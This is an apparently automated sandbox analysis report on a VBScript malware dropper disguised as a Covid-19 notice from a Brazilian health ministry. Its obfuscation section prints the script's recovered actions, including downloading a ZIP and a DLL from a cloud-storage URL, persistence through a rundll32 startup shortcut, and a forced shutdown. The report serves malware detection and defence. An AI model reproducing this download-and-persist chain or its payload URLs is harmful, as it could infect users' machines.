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Analysis Report Comuinicado-Covid19-Min-Saude-CGC-29-01-21-136.vbs

Overview

General Information

Sample Name:Comuinicado-Covid19-Min-Saude-CGC-29-01-21-136.vbs
Analysis ID:348031
MD5:a7eaefeac82a762678b254c38f72a5a0
SHA1:972982331616263fcb28fab209b150c6365068d7
SHA256:7f3cd558f1963d4edf18c46b39a45ffc3d83257bd82ecf80e87e10c4cb1efba1

Most interesting Screenshot:

Detection

Score:88
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Benign windows process drops PE files
Multi AV Scanner detection for submitted file
System process connects to network (likely due to code injection or exploit)
VBScript performs obfuscated calls to suspicious functions
Detected VMProtect packer
Potential evasive VBS script found (sleep loop)
Potential malicious VBS script found (has network functionality)
Windows Shell Script Host drops VBS files
Abnormal high CPU Usage
Contains capabilities to detect virtual machines
Creates a start menu entry (Start Menu\Programs\Startup)
Drops PE files
Entry point lies outside standard sections
Found WSH timer for Javascript or VBS script (likely evasive script)
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains more sections than normal
PE file contains sections with non-standard names
Stores files to the Windows start menu directory

Classification

Startup

  • System is w10x64
  • wscript.exe (PID: 4664 cmdline: C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\Comuinicado-Covid19-Min-Saude-CGC-29-01-21-136.vbs' MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

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Multi AV Scanner detection for submitted fileShow sources
Source: Comuinicado-Covid19-Min-Saude-CGC-29-01-21-136.vbsVirustotal: Detection: 25%Perma Link

Networking:

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Potential malicious VBS script found (has network functionality)Show sources
Source: Initial file: .write TMLZSYWALNTVQGJRIS.responseBody
Source: Initial file: .savetofile ZMNNTJFZFZPMFFJJGZ, 2
Source: Initial file: .write EQMZPDJEPZWCUYLROL.responseBody
Source: Initial file: .savetofile PMEOGLBUDQNCTSPSVQ, 2
Source: Joe Sandbox ViewIP Address: 8.8.8.8 8.8.8.8
Source: Joe Sandbox ViewIP Address: 8.8.8.8 8.8.8.8
Source: Joe Sandbox ViewASN Name: GOOGLEUS GOOGLEUS
Source: wscript.exeString found in binary or memory: https://storage.googleapis.com/mystorage2021/0.zip
Source: wscript.exeString found in binary or memory: https://storage.googleapis.com/mystorage2021/P-4-17.dll

System Summary:

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Detected VMProtect packerShow sources
Source: P-4-17[1].dll.0.drStatic PE information: .vmp0 and .vmp1 section names
Source: C:\Windows\System32\wscript.exeProcess Stats: CPU usage > 98%
Source: Comuinicado-Covid19-Min-Saude-CGC-29-01-21-136.vbsInitial sample: Strings found which are bigger than 50
Source: P-4-17[1].dll.0.drStatic PE information: Number of sections : 13 > 10
Source: classification engineClassification label: mal88.evad.winVBS@1/6@0/2
Source: C:\Windows\System32\wscript.exeFile created: C:\Users\user\AppData\Roaming\uwqybklmrhw.vbsJump to behavior
Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\Comuinicado-Covid19-Min-Saude-CGC-29-01-21-136.vbs'
Source: C:\Windows\System32\wscript.exeFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Windows\System32\wscript.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: C:\Windows\System32\wscript.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\System32\wscript.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: Comuinicado-Covid19-Min-Saude-CGC-29-01-21-136.vbsVirustotal: Detection: 25%
Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32Jump to behavior

Data Obfuscation:

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VBScript performs obfuscated calls to suspicious functionsShow sources
Source: C:\Windows\System32\wscript.exeAnti Malware Scan Interface: WScript.Shell")WScript.Sleep(300000)Set OpSysSet = GetObject("winmgmts:{authenticationlevel=Pkt," _& "(Shutdown)}").ExecQuery("select * from Win32_OperatingSystem where "_& "Primary=true")for each OpSys in OpSysSetretVal = OpSys.Win32Shutdown(6)nextIHost.CreateObject("Wscript.Shell");IWshShell3.SpecialFolders("AppData");IFileSystem3.CreateTextFile("C:\Users\user\AppData\Roaming\uwqybklmrhw.vbs", "true");ITextStream.Write("Set MHSXIMOJBNEVEHMHPM = CreateObject("WScript.Shell")");ITextStream.Write("WScript.Sleep(300000)");ITextStream.Write("Set OpSysSet = GetObject("winmgmts:{authenticationlevel=Pkt," _");ITextStream.Write("& "(Shutdown)}").ExecQuery("select * from Win32_OperatingSystem where "_");ITextStream.Write("& "Primary=true")");ITextStream.Write("for each OpSys in OpSysSet");ITextStream.Write("retVal = OpSys.Win32Shutdown(6)");ITextStream.Write("next");ITextStream.Close();IWshShell3.SpecialFolders("StartUp");IFileSystem3.DeleteFile("C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\*.lnk", "true");IWshShell3.SpecialFolders("StartUp");IFileSystem3.DeleteFile("C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\*.vbs", "true");IWshShell3.SpecialFolders("AppData");IFileSystem3.CreateFolder("C:\Users\user\AppData\Roaming\76941835522651");IWshShell3.SpecialFolders("AppData");IWshShell3.SpecialFolders("AppData");IServerXMLHTTPRequest2.open("GET", "https://storage.googleapis.com/mystorage2021/0.zip", "false");IServerXMLHTTPRequest2.send();_Stream.Type("1");_Stream.Open();IServerXMLHTTPRequest2.responseBody();_Stream.Write("Unsupported parameter type 00002011");_Stream.SaveToFile("C:\Users\user\AppData\Roaming\0.zip", "2");IServerXMLHTTPRequest2.open("GET", "https://storage.googleapis.com/mystorage2021/P-4-17.dll", "false");IServerXMLHTTPRequest2.send();_Stream.Type("1");_Stream.Open();IServerXMLHTTPRequest2.responseBody();_Stream.Write("Unsupported parameter type 00002011");_Stream.SaveToFile("C:\Users\user\AppData\Roaming\76941835522651\uwnxheepqiputvsut3285467922686.dll", "2");IHost.CreateObject("Wscript.Shell");IWshShell3.SpecialFolders("StartUp");IHost.CreateObject("WScript.Shell");IWshShell3.CreateShortcut("C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xsjfpdeuwh .lnk");IWshShortcut.TargetPath("rundll32");IWshShortcut.Arguments(" C:\Users\user\AppData\Roaming\76941835522651\uwnxheepqiputvsut3285467922686.dll mJ8Lf9v0GZnptOVNb2I");IWshShortcut.WindowStyle("1");IWshShortcut.WorkingDirectory("C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xsjfpdeuwh");IWshShortcut.Save();IFileSystem3.OpenTextFile("C:\Users\user\AppData\Roaming\uwqybklmrhw.vbs");ITextStream.ReadAll();ITextStream.Close();IHost.Sleep("300000");ISWbemServicesEx.ExecQuery("select * from Win32_OperatingSystem where Primary=true");ISWbemObjectSet._NewEnum();ISWbemObjectEx._01000001("6")
Source: initial sampleStatic PE information: section where entry point is pointing to: .vmp1
Source: P-4-17[1].dll.0.drStatic PE information: section name: .didata
Source: P-4-17[1].dll.0.drStatic PE information: section name: .vmp0
Source: P-4-17[1].dll.0.drStatic PE information: section name: .vmp1

Persistence and Installation Behavior:

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Windows Shell Script Host drops VBS filesShow sources
Source: C:\Windows\System32\wscript.exeFile created: C:\Users\user\AppData\Roaming\uwqybklmrhw.vbsJump to behavior
Source: C:\Windows\System32\wscript.exeFile created: C:\Users\user\AppData\Roaming\76941835522651\uwnxheepqiputvsut3285467922686.dllJump to dropped file
Source: C:\Windows\System32\wscript.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\P-4-17[1].dllJump to dropped file
Source: C:\Windows\System32\wscript.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xsjfpdeuwh .lnkJump to behavior
Source: C:\Windows\System32\wscript.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xsjfpdeuwh .lnkJump to behavior
Source: C:\Windows\System32\wscript.exeRegistry key monitored for changes: HKEY_CURRENT_USER_ClassesJump to behavior
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

Malware Analysis System Evasion:

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Potential evasive VBS script found (sleep loop)Show sources
Source: Initial fileInitial file: WQSJXTVOJHEDXTCPRI.Write "WScript.Sleep(300000)" & vbCrLf
Source: C:\Windows\System32\wscript.exeDropped file: WScript.Sleep(300000)Jump to dropped file
Source: C:\Windows\System32\wscript.exeFile opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Jump to behavior
Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
Source: C:\Windows\System32\wscript.exeDropped PE file which has not been started: C:\Users\user\AppData\Roaming\76941835522651\uwnxheepqiputvsut3285467922686.dllJump to dropped file
Source: C:\Windows\System32\wscript.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\P-4-17[1].dllJump to dropped file

HIPS / PFW / Operating System Protection Evasion:

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Benign windows process drops PE filesShow sources
Source: C:\Windows\System32\wscript.exeFile created: P-4-17[1].dll.0.drJump to dropped file
System process connects to network (likely due to code injection or exploit)Show sources
Source: C:\Windows\System32\wscript.exeNetwork Connect: 172.217.23.16 187Jump to behavior
Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid AccountsScripting421Startup Items1Startup Items1Masquerading1OS Credential DumpingQuery Registry1Remote ServicesData from Local SystemExfiltration Over Other Network MediumData ObfuscationEavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
Default AccountsExploitation for Client Execution1Registry Run Keys / Startup Folder2Process Injection1Virtualization/Sandbox Evasion1LSASS MemorySecurity Software Discovery1Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothJunk DataExploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
Domain AccountsPowerShell1Logon Script (Windows)Registry Run Keys / Startup Folder2Process Injection1Security Account ManagerVirtualization/Sandbox Evasion1SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationSteganographyExploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Scripting421NTDSRemote System Discovery1Distributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptObfuscated Files or Information1LSA SecretsFile and Directory Discovery1SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
Replication Through Removable MediaLaunchdRc.commonRc.commonSteganographyCached Domain CredentialsSystem Information Discovery2VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features

Behavior Graph

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.